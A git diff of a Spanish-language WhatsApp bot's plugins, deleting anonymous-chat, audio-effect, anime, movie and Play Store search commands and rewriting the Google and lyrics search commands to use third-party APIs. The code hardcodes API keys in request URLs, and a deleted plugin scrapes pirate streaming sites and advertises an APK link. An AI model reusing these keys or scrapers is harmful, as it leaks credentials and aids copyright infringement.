-room.state = 'CHATTING'
-await this.sendMessage(m.chat, { text: `${lenguajeGB['smsChatAn10']()}`}, { quoted: m })
-//this.sendButton(m.chat, `${lenguajeGB['smsChatAn10']()}`, lenguajeGB.smsChatAn11() + wm, null, [[lenguajeGB.smsChatAn12(), `.next`]], m)
-} else {
-let id = + new Date
-this.anonymous[id] = {
-id,
-a: m.sender,
-b: '',
-state: 'WAITING',
-check: function (who = '') {
-return [this.a, this.b].includes(who)
-},
-other: function (who = '') {
-return who === this.a ? this.b : who === this.b ? this.a : ''
-},
-}
-await this.sendMessage(m.chat, { text: `${lenguajeGB['smsChatAn13']()}`}, { quoted: m })
-//this.sendButton(m.chat, `${lenguajeGB['smsChatAn13']()}`, lenguajeGB.smsChatAn8() + wm, null, [[lenguajeGB.smsChatAn9(), `.leave`]], m)
-}
-break
-}}}
-handler.help = ['start', 'leave', 'next']
-handler.tags = ['anonymous']
-handler.command = ['start', 'leave', 'next']
-handler.private = true
-export default handler
\ No newline at end of file
diff --git a/plugins/anonymous_chat_.js.js b/plugins/anonymous_chat_.js.js
deleted file mode 100644
index 15cbd016f..000000000
--- a/plugins/anonymous_chat_.js.js
+++ /dev/null
@@ -1,14 +0,0 @@
-export async function before(m, { match }) {
- // if (match) return !1
- if (!m.chat.endsWith('@s.whatsapp.net'))
- return !0
- this.anonymous = this.anonymous ? this.anonymous : {}
- let room = Object.values(this.anonymous).find(room => [room.a, room.b].includes(m.sender) && room.state === 'CHATTING')
- if (room) {
- if (/^.*(next|leave|start)/.test(m.text))
- return
- let other = [room.a, room.b].find(user => user !== m.sender)
- await m.copyNForward(other, true)
- }
- return !0
-}
diff --git a/plugins/audio-efectos.js b/plugins/audio-efectos.js
deleted file mode 100644
index 7681be3da..000000000
--- a/plugins/audio-efectos.js
+++ /dev/null
@@ -1,44 +0,0 @@
-import { unlinkSync, readFileSync } from 'fs'
-import { join } from 'path'
-import { exec } from 'child_process'
-
-let handler = async (m, { conn, args, __dirname, usedPrefix, command }) => {
-try {
-let q = m.quoted ? m.quoted : m
-let mime = ((m.quoted ? m.quoted : m.msg).mimetype || '')
-let set
-if (/bass/.test(command)) set = '-af equalizer=f=94:width_type=o:width=2:g=30'
-if (/blown/.test(command)) set = '-af acrusher=.1:1:64:0:log'
-if (/deep/.test(command)) set = '-af atempo=4/4,asetrate=44500*2/3'
-if (/earrape/.test(command)) set = '-af volume=12'
-if (/fast/.test(command)) set = '-filter:a "atempo=1.63,asetrate=44100"'
-if (/fat/.test(command)) set = '-filter:a "atempo=1.6,asetrate=22100"'
-if (/nightcore/.test(command)) set = '-filter:a atempo=1.06,asetrate=44100*1.25'
-if (/reverse/.test(command)) set = '-filter_complex "areverse"'
-if (/robot/.test(command)) set = '-filter_complex "afftfilt=real=\'hypot(re,im)*sin(0)\':imag=\'hypot(re,im)*cos(0)\':win_size=512:overlap=0.75"'
-if (/slow/.test(command)) set = '-filter:a "atempo=0.7,asetrate=44100"'
-if (/smooth/.test(command)) set = '-filter:v "minterpolate=\'mi_mode=mci:mc_mode=aobmc:vsbmc=1:fps=120\'"'
-if (/tupai|squirrel|chipmunk/.test(command)) set = '-filter:a "atempo=0.5,asetrate=65100"'
-if (/audio/.test(mime)) {
-let ran = getRandom('.mp3')
-let filename = join(__dirname, '../tmp/' + ran)
-let media = await q.download(true)
-exec(`ffmpeg -i ${media} ${set} ${filename}`, async (err, stderr, stdout) => {
-await unlinkSync(media)
-if (err) throw `_*Error!*_`
-let buff = await readFileSync(filename)
-conn.sendFile(m.chat, buff, ran, null, m, true, {
-type: 'audioMessage',
-ptt: true
-})})
-} else throw `𝙍𝙚𝙨𝙥𝙤𝙣𝙙𝙖𝙣 𝙖𝙡 𝙖𝙪𝙙𝙞𝙤 𝙤 𝙣𝙤𝙩𝙖 𝙙𝙚𝙡 𝙫𝙤𝙯 𝙥𝙖𝙧𝙖 𝙢𝙤𝙙𝙞𝙛𝙞𝙘𝙖𝙧 𝙪𝙨𝙚 𝙚𝙨𝙩𝙚 𝙘𝙤𝙢𝙖𝙣𝙙𝙤 *${usedPrefix + command}*`
-} catch (e) {
-throw e
-}}
-handler.help = ['bass', 'blown', 'deep', 'earrape', 'fast', 'fat', 'nightcore', 'reverse', 'robot', 'slow', 'smooth', 'tupai'].map(v => v + ' [vn]')
-handler.tags = ['audio']
-handler.command = /^(bass|blown|deep|earrape|fas?t|nightcore|reverse|robot|slow|smooth|tupai|squirrel|chipmunk)$/i
-export default handler
-
-const getRandom = (ext) => {
-return `${Math.floor(Math.random() * 10000)}${ext}`}
diff --git a/plugins/buscador-animeinfo.js b/plugins/buscador-animeinfo.js
deleted file mode 100644
index b8a1cc302..000000000
--- a/plugins/buscador-animeinfo.js
+++ /dev/null
@@ -1,51 +0,0 @@
-import translate from '@vitalets/google-translate-api'
-import { Anime } from "@shineiichijo/marika"
-const client = new Anime();
-let handler = async(m, { conn, text, usedPrefix }) => {
-if (!text) throw `${mg}𝙀𝙨𝙘𝙧𝙞𝙗𝙖 𝙚𝙡 𝙣𝙤𝙢𝙗𝙧𝙚 𝙙𝙚 𝙪𝙣 𝙖𝙣𝙞𝙢𝙚`
-try {
-let anime = await client.searchAnime(text)
-let result = anime.data[0];
-let resultes = await translate(`${result.background}`, { to: 'es', autoCorrect: true })
-let resultes2 = await translate(`${result.synopsis}`, { to: 'es', autoCorrect: true })
-let AnimeInfo = `
-𝙏𝙞́𝙩𝙪𝙡𝙤
-❣ ${title}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-𝙀𝙥𝙞𝙨𝙤𝙙𝙞𝙤𝙨
-❣ ${episodes}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-𝙏𝙧𝙖𝙣𝙨𝙢𝙞𝙩𝙞𝙙𝙤 𝙥𝙤𝙧:
-❣ ${type}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-𝘾𝙡𝙖𝙨𝙞𝙛𝙞𝙘𝙖𝙘𝙞𝙤́𝙣
-❣ ${rated}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-𝙋𝙪𝙣𝙩𝙖𝙟𝙚
-❣ ${score}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-𝙈𝙞𝙚𝙢𝙗𝙧𝙤𝙨
-❣ ${members}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-𝙎𝙞𝙣𝙤𝙥𝙨𝙞𝙨
-❣ ${synopsis}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-𝙀𝙣𝙡𝙖𝙘𝙚
-❣ ${url}`
-conn.sendFile(m.chat, result.images.jpg.image_url, 'error.jpg', AnimeInfo, m)
-/*.trim()
-
-await conn.sendHydrated(m.chat, info, wm, null, ig, '𝙄𝙣𝙨𝙩𝙖𝙜𝙧𝙖𝙢', null, null, [
-['𝙈𝙚𝙣𝙪 𝘽𝙪𝙨𝙦𝙪𝙚𝙙𝙖𝙨 | 𝙎𝙚𝙖𝙧𝙘𝙝𝙚𝙨 🔎', '#buscarmenu'],
-['𝙈𝙚𝙣𝙪 𝘾𝙤𝙢𝙥𝙡𝙚𝙩𝙤 | 𝙁𝙪𝙡𝙡 𝙈𝙚𝙣𝙪 ✨', '.allmenu'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']
-], m,) */
-} catch {
-throw `*[❗] ERROR, INTENTELO DE NUEVO*`
-}}
-handler.help = ['animeinfo ']
-handler.tags = ['internet']
-handler.command = /^(animeinfo)$/i
-handler.exp = 50
-handler.level = 1
-export default handler
diff --git a/plugins/buscador-google.js b/plugins/buscador-google.js
index 47a807f81..76ff61011 100644
--- a/plugins/buscador-google.js
+++ b/plugins/buscador-google.js
@@ -1,68 +1,44 @@
-import {googleIt} from '@bochilteam/scraper';
-import google from 'google-it';
+//import {googleIt} from '@bochilteam/scraper';
import axios from 'axios';
-let handler = async (m, { conn, command, args, usedPrefix }) => {
-const fetch = (await import('node-fetch')).default;
-const text = args.join` `;
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-if (!text) return conn.reply(m.chat, `𝙌𝙪𝙚 𝙚𝙨𝙩𝙖́ 𝙗𝙪𝙨𝙘𝙖𝙣𝙙𝙤?🤔\n𝙀𝙨𝙘𝙧𝙞𝙗𝙖 𝙡𝙤 𝙦𝙪𝙚 𝙦𝙪𝙞𝙚𝙧𝙖 𝙗𝙪𝙨𝙘𝙖𝙧\n𝙀𝙟𝙚𝙢𝙥𝙡𝙤\n*${usedPrefix + command} loli*`, m)
+import fetch from 'node-fetch';
+let handler = async (m, { conn, text, command, args, usedPrefix }) => {
+if (!text) return m.reply(`⚠️ 𝙌𝙪𝙚 𝙚𝙨𝙩𝙖 𝙗𝙪𝙨𝙘𝙖𝙣𝙙𝙤 🤔 𝙀𝙨𝙘𝙧𝙞𝙗𝙖 𝙡𝙤 𝙦𝙪𝙚 𝙦𝙪𝙞𝙚𝙧𝙖 𝙗𝙪𝙨𝙘𝙖𝙧\n• 𝙀𝙟: ${usedPrefix + command} loli`)
+m.react("⌛")
try {
-const url = 'https://google.com/search?q=' + encodeURIComponent(text);
-google({'query': text}).then(res => {
-let teks = `*🔍 RESULTADOS DE:* ${text}\n\n*${url}*\n\n`
-for (let g of res) {
-teks += `_${g.title}_\n_${g.link}_\n_${g.snippet}_\n\n┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈\n\n`
-}
-const ss = `https://image.thum.io/get/fullpage/${url}`
-conn.sendFile(m.chat, ss, 'error.png', teks, fkontak)
-//m.reply(teks)
-})
-} catch {
-handler.limit = 0
-}}
+const res = await fetch(`${info.apis}/search/googlesearch?query=${text}`);
+const data = await res.json();
+
+if (data.status && data.data && data.data.length > 0) {
+let teks = `\`🔍 𝘙𝘌𝘚𝘜𝘓𝘛𝘈𝘋𝘖𝘚 𝘋𝘌:\` ${text}\n\n`;
+for (let result of data.data) {
+teks += `*${result.title}*\n_${result.url}_\n_${result.description}_\n\n─────────────────\n\n`;
+}
+
+const ss = `https://image.thum.io/get/fullpage/https://google.com/search?q=${encodeURIComponent(text)}`;
+conn.sendFile(m.chat, ss, 'result.png', teks, m);
+m.react("✅")
+}} catch {
+try {
+const res = await fetch(`https://api.alyachan.dev/api/google?q=${text}&apikey=Gata-Dios`);
+const data = await res.json();
+
+if (data.status && data.data && data.data.length > 0) {
+let teks = `🔍 *Resultados de:* ${text}\n\n`;
+for (let result of data.data) {
+teks += `📌 *${result.title}*\n🔗 _${result.formattedUrl || result.url}_\n📖 _${result.snippet || result.description}_\n\n─────────────────\n\n`;
+}
+const ss = `https://image.thum.io/get/fullpage/https://google.com/search?q=${encodeURIComponent(text)}`;
+conn.sendFile(m.chat, ss, 'result.png', teks, m);
+}} catch (e) {
+handler.limit = 0;
+console.log(e);
+m.react("❌")
+}}}
handler.help = ['google', 'googlef'].map(v => v + ' ')
-handler.tags = ['internet']
+handler.tags = ['buscadores']
handler.command = /^googlef?$/i
-handler.exp = 40
-handler.exp = 3
-handler.limit = 1
+handler.register = true
+handler.limit = 1;
export default handler
-/*import { googleIt } from '@bochilteam/scraper'
-let handler = async (m, { conn, command, args, usedPrefix }) => {
-const fetch = (await import('node-fetch')).default
-let full = /f$/i.test(command)
-let text = args.join` `
-if (!text) return conn.reply(m.chat, `${lenguajeGB['smsAvisoMG']()}𝙀𝙎𝘾𝙍𝙄𝘽𝘼 𝙇𝙊 𝙌𝙐𝙀 𝙌𝙐𝙄𝙀𝙍𝙀 𝘽𝙐𝙎𝘾𝘼𝙍\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊\n*${usedPrefix + command} Gata*\n\n𝙏𝙔𝙋𝙀 𝙒𝙃𝘼𝙏 𝙔𝙊𝙐 𝙒𝘼𝙉𝙏 𝙏𝙊 𝙎𝙀𝘼𝙍𝘾𝙃 𝙁𝙊𝙍\n𝙀𝙓𝘼𝙈𝙋𝙇𝙀\n*${usedPrefix + command} Cat*`, m)
-let pp = './media/menus/Menu1.jpg'
-let url = 'https://google.com/search?q=' + encodeURIComponent(text)
-let search = await googleIt(text)
-let msg = search.articles.map(({
-// header,
-title,
-url,
-description
-}) => {
-return `*${title}*\n_${url}_\n_${description}_\n┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈`
-}).join('\n\n')
-/*let info = `💖 *Infórmate sobre las Novedades y recuerda tener la última versión.*\n\n💝 *Find out about what's new and remember to have the latest version.*
- `.trim()
-conn.sendHydrated(m.chat, info, wm, pp, ig, '𝙄𝙣𝙨𝙩𝙖𝙜𝙧𝙖𝙢', null, null, [
-['𝙈𝙚𝙣𝙪 𝘽𝙪𝙨𝙦𝙪𝙚𝙙𝙖𝙨 | 𝙎𝙚𝙖𝙧𝙘𝙝𝙚𝙨 🔎', '#buscarmenu'],
-['𝙈𝙚𝙣𝙪 𝘾𝙤𝙢𝙥𝙡𝙚𝙩𝙤 | 𝙁𝙪𝙡𝙡 𝙈𝙚𝙣𝙪 ✨', '.allmenu'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']
-], m,)
-try {
-let ss = await (await fetch(global.API('nrtm', '/api/ssweb', { delay: 1000, url, full }))).arrayBuffer()
-if (//i.test(ss.toBuffer().toString())) throw ''
-await conn.sendFile(m.chat, ss, 'error.png', url + '\n\n' + msg, m)
-} catch (e) {
-m.reply(msg)
-}}
-handler.help = ['google', 'googlef'].map(v => v + ' ')
-handler.tags = ['internet']
-handler.command = /^googlef?$/i
-handler.exp = 40
-handler.exp = 3
-export default handler*/
diff --git a/plugins/buscador-lyrics.js b/plugins/buscador-lyrics.js
index f82c6003b..89478cb56 100644
--- a/plugins/buscador-lyrics.js
+++ b/plugins/buscador-lyrics.js
@@ -1,84 +1,28 @@
-import {find_lyrics} from '@brandond/findthelyrics';
-import {getTracks} from '@green-code/music-track-data';
-import {googleImage} from '@bochilteam/scraper';
const handler = async (m, {conn, text, usedPrefix, command}) => {
const teks = text ? text : m.quoted && m.quoted.text ? m.quoted.text : '';
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-if (!teks) throw `${lenguajeGB['smsAvisoMG']()}𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙀𝙇 𝙉𝙊𝙈𝘽𝙍𝙀 𝘿𝙀 𝙐𝙉𝘼 𝘾𝘼𝙉𝘾𝙄𝙊𝙉 𝙋𝘼𝙍𝘼 𝙊𝘽𝙏𝙀𝙉𝙀𝙍 𝙇𝘼 𝙇𝙀𝙏𝙍𝘼\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊\n*${usedPrefix + command} Ozuna te van*`
+if (!teks) return m.reply(`*⚠️ ¿Que esta buscando? ingresa el nombre del tema para buscar la letra de la canción, ejemplo:* ${usedPrefix + command} ozuna te vas`)
try {
-const result = await getTracks(teks);
-const lyrics = await find_lyrics(`${result[0].artist} ${result[0].title}`);
-const res = await fetch(global.API('https://some-random-api.com', '/lyrics', {title: result[0].artist + result[0].title}));
-const json = await res.json();
-let img;
-try {
-img = result.album.artwork;
+const res = await fetch(`https://api.fgmods.xyz/api/other/lyrics?text=${text}&apikey=${info.fgmods.key}`)
+const data = await res.json();
+const textoLetra = `*🎤 𝙏𝙞𝙩𝙪𝙡𝙤:* ${data.result.title}\n*👤 𝘼𝙪𝙩𝙤𝙧:* ${data.result.artist}\n*🎶 𝙐𝙧𝙡:* ${data.result.url || 'No disponible'}\n\n*📃🎵 𝙇𝙚𝙩𝙧𝙖:*\n${data.result.lyrics}`;
+const img = data.result.image
+conn.sendFile(m.chat, img, 'error,jpg', textoLetra, m);
} catch {
try {
-img = json.thumbnail.genius;
-} catch {
-const bochil = await googleImage(`${result[0].artist} ${result[0].title}`);
-img = await bochil.getRandom();
-}}
-await conn.sendMessage(m.chat, {image: {url: img}, caption: `𝙏𝙄𝙏𝙐𝙇𝙊
-💚 *${result[0].title || ''}*
-
-𝘼𝙐𝙏𝙊𝙍(𝘼)
-💜 *${result[0].artist || ''}*
-
-${lyrics || ''}`}, {quoted: fkontak});
-await conn.sendMessage(m.chat, {audio: {url: result[0].preview}, fileName: `${result[0].artist} ${result[0].title}.mp3`, mimetype: 'audio/mp4'}, {quoted: m});
+const res = await fetch(`${info.apis}/search/letra?query=${text}`);
+const data = await res.json();
+if (data.status !== "200" || !data.data) return conn.reply(m.chat, 'No se encontró la letra de la canción especificada.', m);
+
+const textoLetra = `*🎤 𝙏𝙞𝙩𝙪𝙡𝙤:* ${data.data.title || 'Desconocido'}\n*👤 𝘼𝙪𝙩𝙤𝙧:* ${data.data.artist || 'Desconocido'}\n*🔗 𝘼𝙧𝙩𝙞𝙨𝙩𝙖:* ${data.data.artistUrl || 'No disponible'}\n*🎶 𝙐𝙧𝙡:* ${data.data.url || 'No disponible'}\n\n*📃🎵 𝙇𝙚𝙩𝙧𝙖:*\n${data.data.lyrics || 'Letra no disponible'}`;
+const img = data.data.image
+conn.sendFile(m.chat, img, 'error,jpg', textoLetra, m);
+//conn.sendMessage(m.chat, { image: { url: img }, caption: textoLetra }, { quoted: m });
} catch (e) {
-await conn.reply(m.chat, `${lenguajeGB['smsMalError3']()}#report ${usedPrefix + command}\n\n${wm}`, fkontak, m)
-console.log(`❗❗ ${lenguajeGB['smsMensError2']()} ${usedPrefix + command} ❗❗`)
+m.reply(`\`\`\`⚠️ OCURRIO UN ERROR ⚠️\`\`\`\n\n> *Reporta el siguiente error a mi creador con el comando:*#report\n\n>>> ${e} <<<< `)
console.log(e)
-handler.limit = 0
-}}
-handler.help = ['lirik','letra'].map(v => v + ' ')
-handler.tags = ['internet']
-handler.command = /^(lirik|lyrics|lyric|letra)$/i
-handler.limit = 1
-handler.level = 3
-handler.exp = 55
-export default handler
-
-/*import fetch from 'node-fetch'
-import { lyrics, lyricsv2, googleImage } from '@bochilteam/scraper'
-let handler = async (m, { conn, text, usedPrefix, command }) => {
-let teks = text ? text : m.quoted && m.quoted.text ? m.quoted.text : ''
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-if (!teks) throw `${lenguajeGB['smsAvisoMG']()}𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙀𝙇 𝙉𝙊𝙈𝘽𝙍𝙀 𝘿𝙀 𝙐𝙉𝘼 𝘾𝘼𝙉𝘾𝙄𝙊𝙉 𝙋𝘼𝙍𝘼 𝙊𝘽𝙏𝙀𝙉𝙀𝙍 𝙇𝘼 𝙇𝙀𝙏𝙍𝘼\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊\n*${usedPrefix + command} Runaway*\n\n𝙀𝙉𝙏𝙀𝙍 𝙏𝙃𝙀 𝙉𝘼𝙈𝙀 𝙊𝙁 𝘼 𝙎𝙊𝙉𝙂 𝙏𝙊 𝙂𝙀𝙏 𝙏𝙃𝙀 𝙇𝙔𝙍𝙄𝘾𝙎\n𝙀𝙓𝘼𝙈𝙋𝙇𝙀\n*${usedPrefix + command} Billie Eilish bored*`
-const result = await lyricsv2(teks).catch(async _ => await lyrics(teks))
-try {
-let res = await fetch(global.API('https://some-random-api.ml', '/lyrics', {
-title: result.author + result.title}))
-if (!res.ok) throw await res.text()
-let json = await res.json()
-if (!json.thumbnail.genius) throw json
-
-await conn.reply(m.chat, `𝙏𝙄𝙏𝙐𝙇𝙊 | 𝙏𝙄𝙏𝙇𝙀
-💚 *${result.title}*
-
-𝘼𝙐𝙏𝙊𝙍(𝘼) | 𝘼𝙐𝙏𝙃𝙊𝙍
-💜 *${result.author}*
-
-
-${result.lyrics}
-
-
-𝙀𝙉𝙇𝘼𝘾𝙀 | 𝙐𝙍𝙇
-🧡 *${result.link}*`, fkontak, m)
-
-} catch (e) {
- await conn.reply(m.chat, `*⚠️ VUELVA A INTERNARLO, SI EL COMANDO SIGUE FALLANDO REPÓRTELO A LA CREADORA USANDO #reporte*`, m)
-console.log(`❗❗ ${lenguajeGB['smsMensError2']()} ${usedPrefix + command} ❗❗`)
-console.log(e)
-}}
-handler.help = ['lirik','letra'].map(v => v + ' ')
-handler.tags = ['internet']
-handler.command = /^(lirik|lyrics|lyric|letra)$/i
-handler.limit = 1
-handler.level = 3
-handler.exp = 55
-export default handler */
-
+}}}
+handler.help = ['lirik', 'letra'].map((v) => v + ' ');
+handler.tags = ['buscadores'];
+handler.command = /^(lirik|lyrics|lyric|letra)$/i;
+handler.register = true
+export default handler;
diff --git a/plugins/buscador-mangainfo.js b/plugins/buscador-mangainfo.js
deleted file mode 100644
index ce87d9bcb..000000000
--- a/plugins/buscador-mangainfo.js
+++ /dev/null
@@ -1,55 +0,0 @@
-import fetch from 'node-fetch'
-import cheerio from 'cheerio'
-let handler = async (m, { conn, text }) => {
-if (!text) throw `${lenguajeGB['smsAvisoMG']()}𝙀𝙎𝘾𝙍𝙄𝘽𝘼 𝙀𝙇 𝙉𝙊𝙈𝘽𝙍𝙀 𝘿𝙀 𝙐𝙉 𝙈𝘼𝙉𝙂𝘼`
-let res = await fetch(global.API('https://api.jikan.moe', '/v3/search/manga', { q: text }))
-if (!res.ok) throw await res.text()
-let json = await res.json()
-let { title, chapters, volumes, members, score, synopsis, url, image_url, type, start_date, end_date, mal_id } = json.results[0]
-let res2 = await fetch(`https://myanimelist.net/manga/${mal_id}`)
-if (!res2.ok) throw await res2.text()
-let html = await res2.text()
-let animeingfo =
-`𝙏𝙄𝙏𝙐𝙇𝙊
-❣ ${title}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-𝘾𝘼𝙋𝙄𝙏𝙐𝙇𝙊𝙎
-❣ ${chapters}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-𝙑𝙊𝙇𝙐𝙈𝙀𝙉𝙀𝙎
-❣ ${volumes}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-𝙁𝙀𝘾𝙃𝘼 𝘿𝙀 𝙄𝙉𝙄𝘾𝙄𝙊
-❣ ${start_date}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-𝙁𝙀𝘾𝙃𝘼 𝙁𝙄𝙉𝘼𝙇
-❣ ${end_date}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-𝙋𝙐𝙉𝙏𝘼𝙅𝙀
-❣ ${score}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-𝙈𝙄𝙀𝙈𝘽𝙍𝙊𝙎
-❣ ${members}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-𝙎𝙄𝙉𝙊𝙋𝙎𝙄𝙎 𝙀𝙉𝙂𝙇𝙄𝙎𝙃
-❣ ${synopsis}
-┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-𝙀𝙉𝙇𝘼𝘾𝙀
-❣ ${url}`
-await conn.sendFile(m.chat, image_url, '', animeingfo, m)
-
-/*.trim()
-
-conn.sendHydrated(m.chat, info, wm, null, ig, '𝙄𝙣𝙨𝙩𝙖𝙜𝙧𝙖𝙢', null, null, [
-['𝙈𝙚𝙣𝙪 𝘽𝙪𝙨𝙦𝙪𝙚𝙙𝙖𝙨 | 𝙎𝙚𝙖𝙧𝙘𝙝𝙚𝙨 🔎', '#buscarmenu'],
-['𝙈𝙚𝙣𝙪 𝘾𝙤𝙢𝙥𝙡𝙚𝙩𝙤 | 𝙁𝙪𝙡𝙡 𝙈𝙚𝙣𝙪 ✨', '.allmenu'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']
-], m,) */
-
-}
-handler.help = ['animeinfo ']
-handler.tags = ['internet']
-handler.command = /^(mangainfo)$/i
-handler.exp = 50
-handler.level = 4
-export default handler
diff --git a/plugins/buscador-peliculas.js b/plugins/buscador-peliculas.js
deleted file mode 100644
index 1256216f0..000000000
--- a/plugins/buscador-peliculas.js
+++ /dev/null
@@ -1,52 +0,0 @@
-/* Creado/adaptado por Bruno Sobrino (https://github.com/BrunoSobrino) */
-
-import fetch from 'node-fetch'
-import axios from 'axios'
-import { load } from 'cheerio'
-let handler = async (m, {text, usedPrefix, command, conn}) => {
-if (!text) throw '╰⊱❗️⊱ *𝙇𝙤 𝙪𝙨𝙤 𝙢𝙖𝙡* ⊱❗️⊱╮\n\n𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙀𝙇 𝙉𝙊𝙈𝘽𝙍𝙀 𝘿𝙀 𝘼𝙇𝙂𝙐𝙉𝘼 𝙋𝙀𝙇𝙄𝘾𝙐𝙇𝘼 𝘼 𝘽𝙐𝙎𝘾𝘼𝙍'
-let aaaa = await searchC(text)
-if (command == 'pelisplus') aaaa = await searchP(text)
-if (aaaa == '') throw '╰⊱❌⊱ *𝙀𝙧𝙧𝙤𝙧* ⊱❌⊱╮\n\n𝙉𝙊 𝙎𝙀 𝙀𝙉𝘾𝙊𝙉𝙏𝙍𝙊 𝙉𝙄𝙉𝙂𝙐𝙉𝘼 𝙋𝙀𝙇𝙄𝘾𝙐𝙇𝘼'
-let img = 'https://cinefilosoficial.com/wp-content/uploads/2021/07/cuevana.jpg'
-if (command == 'pelisplus') img = 'https://elcomercio.pe/resizer/RJM30xnujgfmaODGytH1rRVOrAA=/400x0/smart/filters:format(jpeg):quality(75)/arc-anglerfish-arc2-prod-elcomercio.s3.amazonaws.com/public/BJ2L67XNRRGHTFPKPDOEQ2AH5Y.jpg'
-let res = await aaaa.map((v) => `*🎬 • 𝙉𝙊𝙈𝘽𝙍𝙀:* ${v.title}\n*🍿 • 𝙐𝙍𝙇:* ${v.link}`).join`\n\n───────────────\n\n`
-let ads = '*💫 • 𝘽𝙇𝙊𝙌𝙐𝙀𝘼𝘿𝙊𝙍 𝘿𝙀 𝘼𝙉𝙐𝙉𝘾𝙄𝙊𝙎 𝙍𝙀𝘾𝙊𝙈𝙀𝙉𝘿𝘼𝘿𝙊:* Block This\n*⛨ • 𝙇𝙄𝙉𝙆:* https://block-this.com/block-this-latest.apk\n\n≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣\n\n'
-conn.sendMessage(m.chat, { image: { url: img }, caption: ads + res }, {quoted: m})
-}
-handler.command = ['cuevana', 'pelisplus']
-handler.level = 3
-handler.money = 40
-export default handler
-
-const safeLoad = async(url, options = {}) => {
-try {
-const { data: pageData } = await axios.get(url, options)
-const $ = load(pageData)
-return $
-} catch (err) {
-if (err.response)
-throw new Error(err.response.statusText)
-throw err }}
-
-async function searchC(query, numberPage = 1) {
-const $ = await safeLoad(`https://cuevana3.info/page/${numberPage}/`, {
-params: { s: query }})
-const resultSearch = []
-$(".results-post > article").each((_, e) => {
-const element = $(e)
-const title = element.find("header > h2").text()
-const link = element.find(".lnk-blk").attr("href")
-resultSearch.push({ title: title, link: link })})
-return resultSearch }
-
-async function searchP(query, numberPage = 1) {
-const $ = await safeLoad(`https://pelisplushd.cx/search/`, {
-params: { s: query, page: numberPage }})
-const resultSearch = []
-$("a[class^='Posters']").each((_, e) => {
-const element = $(e)
-const title = element.find(".listing-content > p").text()
-const link = element.attr("href")
-resultSearch.push({ title: title, link: link })})
-return resultSearch }
\ No newline at end of file
diff --git a/plugins/buscador-playstore.js b/plugins/buscador-playstore.js
deleted file mode 100644
index b196253de..000000000
--- a/plugins/buscador-playstore.js
+++ /dev/null
@@ -1,39 +0,0 @@
-import fetch from 'node-fetch'
-
-let handler = async (m, { conn, text, args }) => {
- if (!args[0]) throw `*[❗] 𝙄𝙣𝙜𝙧𝙚𝙨𝙚 𝙚𝙡 𝙣𝙤𝙢𝙗𝙧𝙚 𝙙𝙚 𝙡𝙖 𝘼𝙋𝙆 𝙦𝙪𝙚 𝙦𝙪𝙞𝙚𝙧𝙖 𝙗𝙪𝙨𝙘𝙖𝙧*`
- let enc = encodeURIComponent(text)
-try {
-let json = await fetch(`https://latam-api.vercel.app/api/playstore?apikey=brunosobrino&q=${enc}`)
-let gPlay = await json.json()
-if (!gPlay.titulo) return m.reply(`[ ! ] Sin resultados`)
